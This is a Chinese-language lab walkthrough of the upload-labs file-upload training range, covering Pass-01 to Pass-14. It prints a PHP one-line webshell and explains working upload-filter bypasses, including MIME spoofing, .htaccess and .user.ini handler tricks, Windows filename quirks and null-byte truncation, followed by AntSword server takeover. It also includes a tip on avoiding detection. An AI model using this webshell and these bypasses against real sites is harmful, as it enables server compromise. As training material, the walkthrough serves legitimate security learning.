upload-labs 完整训练

前言

之前在 BUUCTF 刷题时有幸看到这个靶场项目,感觉非常不错,因此特地开篇博文记录完整的刷题过程,目前共计21关。最近开的坑有点多,不过,既然开了那就一定会完成的🎉!第一关在此前的 BUUCTF 刷题笔记——Basic 1 中已经完成,为保证完整性,本文也同步记录第一关。其中 Pass-01~04、Pass-06~07、Pass-20 靶机部署于 Linux 系统,Pass-5、Pass-12~14、Pass-16~21 靶机部署于本地,其余均部署于 Windows 系统。至于为什么部署这么乱,正文会解释的……

由于图片数量非常可观,因此本文中出现的图片全部存储于 去不图床 ,若失效或遇到其他问题请及时联系本人。

特别感谢平台作者 c0ny1

Pass-01

启动靶机

  • 打开网页,页面还是挺好看的,虽然这并不重要。

研究页面

  • 既然有上传图片的功能,那就上传一张看看。

  • 一切正常,根据图片 url 可以看出文件被上传至网页目录的 upload 目录下。

  • 再上传一个其他文件看看,被阻止了,说是只支持 jpg/png/gif 三种文件,老实说不支持 webp 我不是很认可。

  • 也就是说,我们只能上传这三种文件,想通过上传我们的木马武装夺旗,就只能想办法突破这种限制。作为小白,理所应当地查看提示:

  • 使用 js 检查可还行,意味着检查在前端完成,而前端完全可以由我们自行操作!

突破限制

  • 这里可以先创建好一个文件,先编写好所谓的“一句话木马”。

    一句话木马

    将仅含一行代码的程序文件上传至目标网站,如 PHP 代码:

    1
    <?php @eval($_POST["h-t-m"]);?>
    • @ 表示其后代码即使出错也将不会报错。
    • eval() 函数表示将参数当作代码来执行。
    • $_POST[] 表示以 post 方式获取变量。

    也就是说,我们将文件上传之后,即可用对应方法向网站提交代码并执行,这里使用 post 方法。虽然我们直接定义了自己的变量名 h-t-m,但是 @ 可以保证不会报错。于是我们完全可以通过这个文件直接连接至服务器。

  • 由于只是 js 检查,为表示对检查的尊重,我们大可以嚣张一点,将文件名命名为 木马.php

  • 突破前端检查,可以直接修改对应的 js 代码,也可以直接在浏览器禁用 JavaScript ,或者直接删除 HTML 中对检查代码的调用。

    以下三种方法任选其一即可

    • 修改 js 代码需要在控制台重构函数,直接原地修改无效。查看语句找到该检查函数如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      function checkFile() {
      var file = document.getElementsByName('upload_file')[0].value;
      if (file == null || file == "") {
      alert("请选择要上传的文件!");
      return false;
      }
      //定义允许上传的文件类型
      var allow_ext = ".jpg|.png|.gif";
      //提取上传文件的类型
      var ext_name = file.substring(file.lastIndexOf("."));
      //判断上传文件类型是否允许上传
      if (allow_ext.indexOf(ext_name) == -1) {
      var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
      alert(errMsg);
      return false;
      }
      }

      可以看出,文件类型的限定语句为 var allow_ext = ".jpg|.png|.gif"; 那么只要将我们要上传的文件的后缀名加入,并在控制台中执行即可:

    • 禁用 JavaScript :右键——检查——设置——禁用即可

    • 删除 HTML 中代码即删除如图语句即可

  • 解除限制之后,便可以将文件上传了

  • 刚开始对页面研究时我们得知,文件是直接上传至网页所在目录的 upload 目录下的,因此可以得知我们上传的文件的 URL 为 http://靶机地址/upload/木马.php ,当然也可以在上传页直接查看文件地址。值得注意的是,URL 中不应包含中文字符,这里取的这个名字显然是不能直接这么用了,改名是不可能改名的,因此这里需要编码一下 http://[靶机地址]/upload/%E6%9C%A8%E9%A9%AC.php

入侵

  • 上传好木马后,就该使用工具进入整个后台服务器了。中国蚁剑既可以完成这个任务,配置安装入门可参考官方 中文文档 。打开软件添加连接:

  • 注意到,这里需要输入密码,那么密码是什么呢?在前面输入的一句话代码中, <?php @eval($_POST["h-t-m"]);?> ,我们将通过 post 方法将内容传输至 h-t-m 变量中而实现入侵,而这个变量就是进入服务器所需要的连接密码。因此,输入变量名即可。

  • 添加成功后双击连接即可进入木马文件所在目录,右边同样可以看到目录列表,因此现在我们已经拥有了网站所有的文件了,并且可以进行任意增删改查!

寻找 flag

  • 既然已经获得所有权了,那就可以慢慢找了。不过,目前的经验表明,flag 一般会放在根目录,因此首先查看根目录,果不其然:

  • 都到这一步了,就双击打开吧!

Pass-02

启动靶机

  • 第二关的界面没有任何变化。

研究页面

  • 上传一个图片文件,可以正常上传,且依然上传在了网站目录的 upload 目录下。

  • 再上传一个其他文件,无法正常上传,且提示错误信息与上次不同。

  • 小白表示线索不够,依然选择看提示,提示显示:本pass在服务端对数据包的 MIME 进行检查!X2 。虽然不知道为啥要显示两遍,但显然这很重要!

    :由于在提示加载出来之前我快速点击了两遍,因此才会显示两遍。

  • 所以,什么是 MIME

    MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

    ——百度百科

    显然这个解释帮助不是很大,但是我们有必要知道的就是,MIME 信息头中有以下几个重要字段:

    1. MIME-Version: 提供所用的 MIME 版本号。
    2. Content-Type: 表示数据类型。
    3. Content-Transfer-Encoding: 表示对数据执行的编码方式。

    如果要对数据包的 MIME 进行检查,那么显然当我们上传木马文件的时候就没办法通过服务器对 Content-Type 的限制了。

  • 既然如此,我们就可以查看一下源码:

    里面最关键的就是 if 判断语句中的内容,他决定我们能否上传:

    1
    ($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')

    不难看出,该判断语句将 MIME 信息头的 Content-Type 字段限制在了 image/jpegimage/pngimage/gif 三种类型中。

  • 由于判断发生在服务端,因此继续修改前端代码就有点自欺欺人了。为了让我们的木马文件继续符合条件,我们有必要抓包了!

突破限制

  • 首先依然先准备好一句话木马文件,与第一关一样。

  • 打开 BurpSuite 并在内部浏览器打开网页,准备抓包:

  • 将我们的木马文件上传,可以看到抓包的内容,其中就有我们所关注的 Content-Type 字段:

    直接修改这个字段,让我们的字段符合条件然后点击 Forward 即可:

  • 返回网页即可看到,我们的文件已经成功上传了!

  • 一开始上传图片的时候我们便知道,文件依然存储于网站目录的 upload 目录下,因此木马文件所在的 URL 还是:http://靶机地址/upload/木马.php ,当然,编码后为 http://[靶机地址]/upload/%E6%9C%A8%E9%A9%AC.php 。也可以右键新标签页打开文件,地址栏直接复制地址,后面都推荐使用这种方式!

夺旗

  • 上传成功那剩下就还是老样子了,先在中国蚁剑中添加链接:

  • 然后进入网站目录列表:

  • 根据前面的经验,直接访问根目录,打开 flag ,夺旗成功!

Pass-03

启动靶机

  • 熟悉的界面一点没变

研究界面

  • 显然上传目录是不会改变的,因此不再检测图片,直接传木马!

    那当然是没这么简单的,果不其然返回了错误信息,但是第三关的错误信息跟第二关就不太一样了。之前是只让传图片,现在是直接给可能的木马文件拉了黑名单。

  • 错误信息表明应该只限制了 .asp.aspx.php.jsp 这四种文件后缀名而已,如果是这样的话,我们只要修改后缀名即可上传成功。查看源代码确认:

    由这两句可以看出,确实是仅仅限制了这四种后缀名而已。

  • 可以注意源代码中有这么一行代码:

    1
    $file_ext = strtolower($file_ext); //转换为小写

    这意味着不仅这四种后缀名,还包括他们的大小写形式都被屏蔽了,即形如 .PhP.pHP.PHP 等。

突破限制

  • 那么,后缀名如何修改才能不影响木马文件的使用呢?

    php5 module for apache2(libapache2-mod-php5) 中默认允许将多个扩展作为 php 脚本执行(兼容性考量):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #/etc/apache2/mods-enabled/php5.conf
    <FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
    </FilesMatch>
    <FilesMatch ".+\.phps$">
    SetHandler application/x-httpd-php-source
    # Deny access to raw php sources by default
    # To re-enable it's recommended to enable access to the files
    # only in specific virtual host or directory
    Require all denied
    </FilesMatch>

    从上方的正则表达式中可以看出,在 php5 module for apache2(libapache2-mod-php5) 中后缀名为 .php.php3.php4.php5.pht.phtml.phps 的文件都会被解析为 php 文件。

    当然,这只是一个特殊版本的例子,事实上我们并不知道靶机网站是什么版本的。但是我们可以参考这个修改我们的木马文件后缀名为上述其一,大部分情况修改为 php3 即可。

  • 直接修改备好的木马文件:

  • 上传,成功!

夺旗

  • 蚁剑添加

    不难看出,第三关不再保留我们的文件名了,因此我不需要再对中文进行编码了。

  • 既然已经进来了,就不急着夺旗,先看看他到底支持哪些 php 后缀名。访问下方文件 /var/www/html/docker/docker-php.conf

    因此,只支持 phpphp3phtml 三种!(当然这仅代表我所使用的靶机仅支持这三种。)

  • 满足了好奇心之后,便直接根目录夺旗吧!

Pass-04

启动靶机

  • 熟悉的页面:

研究界面

  • 直接上传木马文件,提示错误:此文件不允许上传!

  • 小白依然理直气壮看提示:

    好家伙一口气把这么多后缀名都给拉黑了,因此第三关的方法就不适用了。

  • 查看源码,可以发现和第三关一样,依旧屏蔽了大小写:

  • 根据上一关的思路,有没有可能让后缀名为 .jpg.png 之类的图片文件或者其他文件也被解析为 .php 脚本呢?

    可以使用 .htaccess ,即所谓的分布式配置文件,我们可以通过这个文件传输指令,将伪装成图片的木马文件解析成 php 脚本。值得注意的是,.htaccess 的作用域在文件所在目录及其所有子目录,而我们上传的所有文件都会在同一目录,此外该后缀名也不在黑名单中,因此完全可用!

突破限制

  • 要使用 .htaccess 文件实现攻击,首先我们需要了解部分指令:

    1
    2
    3
    4
    5
    6
    7
    8
    AddType application/x-httpd-php .h-t-m
    # 将后缀名为 h-t-m 的文件解析为 php 脚本执行

    AddHandler php5-script .h-t-m
    # 将后缀名为 h-t-m 的文件用 php处理器 来处理,效果同上

    SetHandler application/x-httpd-php
    # 将所有文件解析为 php 脚本执行

    此外,还有部分标签:

    1
    2
    3
    4
    5
    6
    7
    <FilesMatch "h-t-m">
    </FilesMatch>
    # 文件匹配,引号中为正则表达式,匹配成功则执行内部指令

    <IfModule 模块名>
    </IfModule>
    # 当指定模块开启时,内部指令执行
  • 上述两种标签都可以使用,文件匹配就匹配上传的木马文件名即可,而模块检测可以检测 mime-module 即可,这个模块执行 MIME 相关内容,在第二关我们知道要打开一个文件就要检测 MIME 然后匹配对应处理器,而这正适用于这里。推荐使用文件匹配(精确具体文件名)的方式,尽可能对网站的影响减到最小,避免入侵被发现

    使用文件匹配标签时,指令对象只会是我们所指定的对象,因此 .htaccess 内容可以如下:

    1
    2
    3
    <FilesMatch "木马.h-t-m">
    SetHandler application/x-httpd-php
    </FilesMatch>

    我们将木马文件名修改为 木马.h-t-m,虽然这不是正确的后缀名,但是显然只要在黑名单之外的均可。

  • 准备好两个文件,木马文件直接修改后缀名为 .h-t-m ,配置文件内输入上述指令且保证文件名为 .htaccess 即可。

  • 上传至靶机,自然是成功了的:

夺旗

  • 蚁剑添加,然后成功进入

  • 根目录夺旗

Pass-05

启动靶机

  • 更改靶机环境,本关为后补,因此 Pass-6 和 Pass-07 其实是原环境的 Pass-05 和 Pass-06 ,请忽略截图可能带来的题号不匹配。

研究界面

  • 查看提示,看不懂~

  • 本关一开始我当作第十关解了,虽然确实很像,而且第十关的解法也适用于这几关,但是显然 Pass-05 应该有自己的漏洞。

  • 仔细观察黑名单,会发现后面几关的黑名单都比这一关多了一个 .ini,也就是说,这一关的漏洞应该与第四关类似的上传两个文件越过检查。可算是明白为啥要把这一关添加到这里了!

    1
    2
     $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
    # 后面关卡的黑名单列表

突破限制

  • php.iniphp 的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。因此 .ini 实际上屏蔽的就是 .user.ini 文件,与上一关的 .htaccess 一样作为配置文件,而且 .user.ini 的用途更广。主要有这两条指令:
    1
    2
    auto_prepend_file=520.h-t-m //在页面顶部加载520.h-t-m文件
    auto_append_file=520.h-t-m //在页面底部加载520.h-t-m文件

    其实就是会将文件内容包含进 php 文件中再运行。而要达到这个目的,还需要三个前提条件:

    1. 服务器脚本语言为 PHP
    2. 服务器使用CGI/FastCGI模式
    3. 上传目录下要有可执行的php文件
  • 现在应该就不难理解提示里的那句:上传目录存在 php 文件(readme.php)。也就是说,环境已经构建好,就等着传文件入侵了!

  • 准备文件:创建 .user.ini 文件,内容为:

    1
    auto_prepend_file=520.h-t-m

    修改木马文件的文件名为 520.h-t-m

  • 上传二位,成功!

夺旗

  • 蚁剑连接,这里需要注意的是,.uesr.ini 的作用是将目标文件嵌入既有 php 文件中执行,因此我们连接时就得连接到既有的 php 文件中,这里就是提示中所说的 readme.php 文件。

    很好,返回数据为空,行动失败!

问题探究

  • 返回数据为空意味着可以连接到文件但是文件无效,也就是一句话木马并没有加入到 readme.php 文件中。看来得检验一下环境!

  • 通过其他关卡上传一句话木马其中包含语句 phpinfo(); 也就是返回当前服务器得 php 版本等相关信息,可以看到结果如下:

    可以确定服务器是使用CGI/FastCGI模式,也就是理论上上述的三大前提都符合,木马不应该没有嵌入才对。

  • php 的手册中,有这么一句话

    自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

  • 也就是说,版本太低了!

    还是老老实实本地搭建靶机,虽然没有夺旗的乐趣,但毕竟自力更生才能走得长远。不过后续的关卡还是优先在 BUU 上完成。

再次突破

  • 本地部署并且上传完成后,蚁剑连接,完美!

  • 于是我就成功入侵了自己的电脑,果然还是入侵别人的靶机有意思~

Pass-06

启动靶机

  • 再次回到起点,一切还是那么熟悉

研究界面

  • 先拿第四关的文件上传一遍,发现 木马.h-t-m 文件上传成功了,但是 .htaccess 文件被阻止了:

    不难看出,难度升级,配置文件也不能用了。

  • 那就再从源码下手,在前面关卡中我们有提到屏蔽大小写,而这一关的代码中,那一句代码却没了:

    这样的话,问题就简单了。

突破限制

  • 直接修改后缀名,改成大写的

  • 上传至靶机,成功!

夺旗

  • 蚁剑连接

    有趣的是,这一关又是会对上传的文件自动编号的。

  • 根目录夺旗

Pass-07

启动靶机

  • 再次回到起点,加油网安人

研究界面

  • 上传第六关文件测试,果然失败了。

  • 查看提示,变化不大,但是却没有拉黑 .htaccess 文件。

    不过可以认为这只是个 bug ,因为在源码中,可以看到 .htaccess 文件是在黑名单中的:

    1
    $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
  • 继续查看源码,与前面几关的源码对比,很容易能看出这次少了另一行代码:

    少的就是这行首尾去空的代码。

    1
    $file_ext = trim($file_ext); //首尾去空

突破限制

  • 要利用这行缺失代码所带来的漏洞,我们先要知道他是干什么的。

    正如注释所言,trim() 函数的作用就是去除字符串两端的空白字符。头部的空白字符很难对我们产生影响,但是尾部就涉及到了后缀名的内容。当后缀名为 .php[] 时( [] 表示空白字符),他显然是不能与黑名单中的任一后缀匹配上的,由于是空白字符,因此大小写屏蔽也无影响。也就是说,如果我们的文件后缀名为 .php[] 时,入侵将不受任何影响

  • 当然,如果想直接上传尾部带空格的文件也是不可能的,因为操作系统会自动忽略首位空白字符,因此,这里需要抓包!

  • Burp Suite 中打开靶机,直接上传备好的木马文件,抓包并在上传的文件名末尾加上一个空格。

  • Forward 之后就可以看到文件已经上传成功。

夺旗

  • 蚁剑连接,然后出问题。

问题探究

  • 然而无论怎么试,始终都无法成功连接,甚至直接通过浏览器访问文件,也显示 NOT FOUND 。通过其他关卡访问后台,可以发现我们上传的文件是存在的:

    并且打开之后的内容也没有变:

  • 这里有个小细节,文件图标不一样,有效的脚本文件为第二个,而本关上传的文件为第一个,因此,我们所上传的这个文件并没有被解释为 php 脚本。

  • 可能出问题的地方只有空格,我们在 URL 后加上 %20 (代表空格)并在浏览器中访问,可以访问,而且在浏览器中显示了文本。

  • php 指令在浏览器中不会显示,因此我们所上传的 .php[] 后缀的文件仅被解析为文本文件,而文本文件没有任何作用。
  • 有一个前提被忽略了,后缀添加空格的漏洞仅适用于 Windows 系统。而靶机建立在 Linux 系统中,因此,这个漏洞在这不成立!由于 BUUCTF 提供了 Windows 版本的靶机,因此这里直接换用,之后的关卡也将尽量基于 Windows 版本。

再次夺旗

  • 换了系统版本并再次上传文件后,蚁剑连接!

    这里需要注意的一点是,编码器不能使用 default 了,测试时貌似被 WAF 给抓了,因此这里使用 base64

  • 根目录夺旗,有一说一 Windows 的根目录还是熟悉一点,非常乱!,但是这文件名~

Pass-08

启动靶机

  • 再次回到开始,熟悉的界面。

研究界面

  • 直接看源码,依然是关键部分少了一句:

    删除了这句:

    1
    $file_name = deldot($file_name);//删除文件名末尾的点
  • 该语句负责删除文件名末尾无效的点,也就是说,如果后缀名为 .php. 的话,将不会被黑名单命中,且由于 Windows 自动忽略末尾无效点,应脚本依然能够被正确执行!

  • 值得注意的是由于后续语句都基于最后一个点所提取出来的后缀名做的操作,而该语句的删除也导致后缀名提取为空,即 .php. 中最后一个点后面所接的后缀名为空。因此,只要上传文件的文件名以点结尾,所有的后续操作都将无效。

突破限制

  • BurpSuite 中打开靶机,上传文件抓包修改文件名,只需要在最后加上一个点即可:

  • Forward 之后,上传成功!

夺旗

  • 蚁剑连接

    当然,末尾不要带点(就是因为 Windows 会把无效点舍去才会有这个漏洞),编码器也不要用默认的。

  • 根目录夺旗

Pass-09

启动靶机

  • 继续继续,第九关了!

研究界面

  • 不多废话,直接看源码,根据前几关的经验,该轮到 ::$DATA 了。源码中果然少了那句。

    1
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  • 关于 ::$DATA 的作用,在 Windows 系统中只会以 ::$DATA 前的数据当作文件名。因此,如果文件名为 h-t-m.php::$DATA 则后缀名不会与黑名单匹配,但是系统也依然会正确执行!

突破限制

  • BurpSuite 中打开靶机,上传文件抓包修改文件名,只需要在最后加上 ::$DATA 即可:

  • Forward 之后,上传成功!

夺旗

  • 蚁剑连接

    当然,::$DATA 是要被忽略的,所以连接时不要加上 ::$DATA

  • 根目录夺旗

Pass-10

启动靶机

  • 再次回到这里

研究页面

  • 直接查看源码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
    $file_name = trim($_FILES['upload_file']['name']);
    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //首尾去空

    if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
    $is_upload = true;
    } else {
    $msg = '上传出错!';
    }
    } else {
    $msg = '此文件类型不允许上传!';
    }
    } else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
    }

    这段代码与前后的关卡中的源码都类似,甚至就是最全面的版本,因此,本关的解法也适用于前面几关。

  • 再次统一分析一下这段关键代码:

    1
    2
    3
    4
    5
    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //首尾去空

    我们需要知道,文件名末尾的点与空格都是无效的,但是他们却会影响文件的匹配,比如后缀名 .php.php. 就不匹配,但是 .php. 在 Windows 中执行时却因为自动忽略而变成 .php。因此,为避免空字符突破黑名单的漏洞,程序需要对接收到的文件名做处理,以让黑名单中的后缀名不管怎么伪装总能被匹配到。

    第一句话就是负责删除文件名末尾的点,删除了末尾无效的点之后,文件名中最后一个点后面所接的就是后缀名了,因此:

    1
    $file_ext = strrchr($file_name, '.');

    该语句就是获取后缀名,通过 strtolower() 方法将所有字母小写,这样就屏蔽了大小写漏洞。值得注意的是 ::$DATA ,在 Windows 中会将 ::$DATA 之后的数据当作文件流,而保持 ::$DATA 前的文件名,因此如果文件名为 h-t-m.php::$DATAmyr520 ,就会等价于 h-t-m.php。因此,第四句话的作用就是将他删去再进行匹配。最后一句话即如注释所示,删去空白字符。因为第一句话只是删除了点,而现在空白字符也删去了。那么,岂不是没有漏洞了?

  • 显然不是,上述代码虽然看似完善,但实际上忽略了一个巨大的问题。第一句只能删除末尾的点,而不能删去空白字符,那么如果后缀是这种形式的:.php.[].[] 表示空白字符),那么第一句话将只能删去最后的那个点,在经过第四句后缀就变成了 .php.,也就是说还是会剩下一个点。而这就是我们要利用的漏洞,漏洞出现的原因就是没有循环验证。

突破限制

  • 需要备好的木马文件的后缀名修改为 .php.[].[] 表示空格),当然这无法再 Windows 下完成,因此我们需要抓包修改。

  • BurpSuite 中打开靶机并上传木马文件,在文件后缀名之后加上 .[].[] 表示空格)。

  • Forward 之后文件上传成功!

夺旗

  • 蚁剑连接

    如果上传之后直接获取文件 URL 可能后缀名后会带点,由于我们执行文件时点是被系统忽略的,因此蚁剑连接时记得末尾不要带点!

  • 根目录夺旗

Pass-11

启动靶机

  • 上一关算是一个BOSS,这关总得不太一样吧,专题训练过半🎊

研究界面

  • 直接查看源码,重点在这句:

    1
    $file_name = str_ireplace($deny_ext,"", $file_name);

    这句将文件名中与黑名单匹配的部分换为空,即使黑名单中的文件无法被解析。

  • 但是,就这么一句一次只能替换当前存在的黑名单字符,我把后缀名换成 .pphphp 被替换后还剩下 .php,这不是正好。甚至可以吧后缀名改成 .pphpphpphpphpphpphphp,照样正好。

突破限制

  • 那就直接将木马文件后缀名改成 .pphphp

  • 上传,成功!

夺旗

  • 蚁剑连接

  • 根目录夺旗

Pass-12

启动靶机

  • 再次重新开始!

研究页面

  • 先看一下提示:

    “上传路径可控”,挺好,就是不太懂怎么个可控法。

  • 于是继续查看一下源码,代码不长,因此这里完整梳理一遍:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

    if(move_uploaded_file($temp_file,$img_path)){
    $is_upload = true;
    } else {
    $msg = '上传出错!';
    }
    } else{
    $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
    }
  • 可以看出,这次文件过滤不再采用黑名单,而是用白名单将可上传文件限制为 .jpg.png.gif 三种格式:

    1
    $ext_arr = array('jpg','png','gif');
  • 紧接着老长的一句:

    1
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    strrpos() 返回第二个参数(.)在第一个参数中(文件名)最后一次出现的位置,substr() 则返回从第二个参数(索引)之后的字符串。 因此,这句语句其实就是截取文件的后缀名。

    由于是白名单,后缀名截取结果只要不在白名单中均无效,因此,前面关卡中在后缀名后添加无效的点的小伎俩肯定是不能用了。

  • 接下来这句其实就是用 $temp_file 变量引用上传时生成的临时文件:

    1
    $temp_file = $_FILES['upload_file']['tmp_name'];

    文件的上传实际上就是将临时文件放入服务器指定位置,也就是后面在 if 语句中完成的操作,上传成功则返回 true,否则返回 false

    1
    move_uploaded_file($temp_file,$img_path)
  • 而在上述两个语句之间的这句则是本关的重点:

    1
    $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    rand(10, 99) 返回一个 10 ~ 99 之间的随机整数,date(YmdHis) 返回代表当前时间的一串整数,其中 YmdHis 分别表示年月日时分秒。后面又衔接上了点与后缀名,因此,/ 之后表示以随机数加时间戳的形式重命名文件。上传一个图片测试一下:

    而代码中 / 之前的 $_GET[save_path] 则表示指定的上传路径,默认上传路径依然是 upload 目录下。值得注意的是,save_pathGET 方式上传,因此,我们可以在 URL 中指定文件的上传路径,而提示中的“上传路径可控”指的自然就是这个了!

突破限制

  • 既然可以修改上传路径,那么这对我们又有什么用呢?

    在 URL 中,我们并不能输入所有的字符,而当我们需要表示一个特殊字符时,便需要对他进行编码。在之前的关卡中,我们的木马文件都使用了中文字符作为文件名,但实际使用时却用的是他的编码形式,一般形式为百分号后加二位十六进制数(Ascii)表示一个字符,而一个中文字符需要使用三个一般字符来表示:

    http://[靶机地址]/upload/木马.php

    http://[靶机地址]/upload/%E6%9C%A8%E9%A9%AC.php

    在浏览器中打开时你会发现显示的依然是中文字符,那是因为浏览器会自动帮助我们解码。

    而在这些编码中,就有一个特殊字符 %00。在 C 语言的字符串中有一个 Ascii 值为零的特殊字符 0,一般用于表示字符串结束,而在这里,他也起相同作用。

  • 依然注意这段关键代码:

    1
    $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

    当我们上传一个 jpg 文件,并且指定的路径 save_path../muma.php%00 ,连之后就会变成 ../muma.php%00/[随机数].jpg . 而这段字符串在 %00 就已经被截断了,因此原本将文件上传至 jpg 文件的语句就变成的将文件上传至 muma.php 文件中,因此,我们就可以入侵了。

  • 有趣的是,这个漏洞只有magic_quotes_gpc 函数关闭的条件下才能实现,而这个函数默认情况下是开启的,且在 PHP 5.3.4 版本之后漏洞也已经被修复了。我们在 Pass-05 时获取过 phpinfo() ,虽然版本号为 5.2.17 是不错,但是很遗憾靶机的 magic_quotes_gpc 函数依然保持开启状态:

    因此,虽然不太情愿,但本关依旧使用本地搭建的靶机。

    不知道为什么我的 PHP study 一直无法下载 php 5.2.17 版本,因此我只能在 php 发布页 下载了 php 5.2.10 版本(眼瘸,看不到 5.2.17 在哪),并且自行在 php.ini 配置文件中添加了关闭 magic_quotes_gpc 函数的配置:

    1
    magic_quotes_gpc = Off

    自行下载的 PHP 完整配置请参照 Pass-16

  • 准备好木马文件并且以 .jpg 结尾,暂时伪装成图片文件:

  • 打开 BurpSuite 抓包,我们显然无法在文件上传之前直接在网页上修改路径内容,因此我们对报文进行修改。修改路径变量 save_path../h-t-m.php%00

  • Forward 之后,上传成功!

夺旗

  • 蚁剑连接

    注意我们依然只需要连接到php木马文件而不是图片文件,毕竟那些都已经被忽略了。

  • 本地无旗可夺,看个目录解解馋吧

Pass-13

启动靶机

  • 再次回到起点

研究页面

  • 本关与上一关几乎一致,唯一不同的地方在于源码中的这一句:

    1
    $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

    将上一关的 $_GET[] 换成了 $_POST[] ,代表了网页提交表单的两种方法。

  • 关于两种方法的大致区别可以 参考这里 ,在本关卡中的区别主要是GET 方法会自动解码,即把 %00 解码为对应的空字符,而 POST 方法则不会自动解码,他对百分号没有任何特殊感情。

  • 既然不能直接传编码形式的,我们就只能原样传进去了,当然靠输入是肯定没办法输入进去空字符的,因此我们需要修改二进制的报文,直接输入空值!

突破限制

  • 打开 BurpSuite 上传上一关相同的文件(以 .jpg 后缀作为伪装的 php 木马文件),我们可以在 Raw 模式下编辑好路径,最后留下一个字符便于我们修改,这里预留一个 / 字符:

    在二进制(Hex)中找到对应字符,将其修改为 00 即可:

    当然也可以直接在 Raw 下输入 ../h-t-m.php%00 并且右键解码即可:

  • 然后当然是 Forward 并且上传成功:

夺旗

  • 蚁剑连接

  • 依旧无旗可夺~浅看一下目录吧

Pass-14

启动靶机

  • 再次回到,哎界面变了:

    欢迎进入图片马时代!

研究页面

  • 先查看提示:

    对图片的内容开头两个字节进行检查,意味着我们修改修改文件名,改改 MIME 是肯定不行了,他得是货真价实的图片文件了。

  • 至于为什么只用检查文件开头两个字节就能判断文件是否为合法的图片文件,因为那块地方是文件头啊!比如 .jpg 的文件头字段就是 FFD8FF ,我们可以在 VS code 中使用 hexdump for VSCode 插件查看一张 .jpg 的图片:

    .png 的文件头字段为 89504E47 ,我们用同样的方法打开一个 .png 的图片即可验证:

    而如果我们将 .jpg 后缀换成 .png 后缀再打开文件,会发现:

    文件头不会随后缀名的改变而改变,或者更加粗鲁地说,文件的真实类型就取决于文件头。因此,我们能做的,就是将木马内嵌到一个真实且合法的图片文件中,也就是所谓的图片马

  • 另外一个重要问题是,藏在图片中的木马如何才能运行起来。

